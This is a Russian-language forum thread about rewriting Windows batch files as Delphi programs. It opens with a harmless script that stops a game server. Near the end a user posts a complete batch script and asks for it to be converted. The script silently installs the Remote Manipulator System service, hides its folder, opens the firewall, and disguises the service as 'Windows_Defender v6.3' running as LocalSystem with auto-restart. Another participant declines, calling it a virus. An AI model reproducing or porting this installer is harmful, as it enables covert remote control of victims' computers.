Код из *.bat в Delphi

[Shouldercannon]

Есть stop.bat со следующим содержимым:

@echo off
cls
echo (%date% %time%) Stoping start.bat
TASKKILL /F /IM start.bat
echo (%date% %time%) Stoping srcdsfpsboost.exe (FPS Max to 600FPS)
echo (%date% %time%) Stoping CS:Source Dedicated Server (SRCDS)
TASKKILL /F /IM srcds.exe
echo (%date% %time%) Stoping cmd
TASKKILL /F /IM cmd.exe

можно ли на Delphi написать программу с таким же функционалом?

[Stilet]

program Project1;

{$APPTYPE CONSOLE}

uses
  SysUtils;
  procedure system(s:pchar); cdecl external  'msvcrt.dll';
begin
 system('@echo off');
 system('cls');
 system(' echo (%date% %time%) Stoping start.bat');
 system('TASKKILL /F /IM start.bat');
 system('echo (%date% %time%) Stoping srcdsfpsboost.exe (FPS Max to 600FPS)');
 system('echo (%date% %time%) Stoping CS:Source Dedicated Server (SRCDS)');
 system('TASKKILL /F /IM srcds.exe');
 system('echo (%date% %time%) Stoping cmd');
 system('TASKKILL /F /IM cmd.exe');

  { TODO -oUser -cConsole Main : Insert code here }
end.

Подойдет?

[Shouldercannon]

Как-то странно работает, но выполняет функционал *.bat. После запуска идёт загон с консольными окнми, а потом утихает. Вообще данный батник работает так: его запускаешь и появляется консольное окно и показывается оно до тех пор пока не будет закрыто приложение им нужное приложение.

[Stilet]

Shouldercannon

Если тебе нужно запустить программу и подождать ее отработки то
http://www.delphiworld.narod.ru/base...terminate.html
Это один из примеров.
А на исполнение консольных команд в программе я бы не полагался как на надежных.

[FaTaL]

А чем Вас Ваш БАТ файл то не устраивает?

[Shouldercannon]

Не хочу задействовать сторонние файлы.

[magistic]

[QUOTE=Stilet;594272] Можете подсказать как так же сделать по вот такому коду?

@echo off
set patch=C:\Program Files (x86)\System
attrib +s +h "%patch%"
taskkill /im rutserv.exe /f
taskkill /im rfusclient.exe /f
reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
timeout 2
"%patch%\rutserv.exe" /silentinstall
"%patch%\rutserv.exe" /firewall
regedit /s "%patch%\regedit.reg"
sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
sc config RManService obj= LocalSystem type= interact type= own
sc config RManService DisplayName= "Windows_Defender v6.3"
"%patch%\rutserv.exe" /start
@exit

_____
Код программы нужно выделять (форматировать) тегами [CODE] (читать FAQ)
Модератор

[p51x]

вирусы не обсуждаем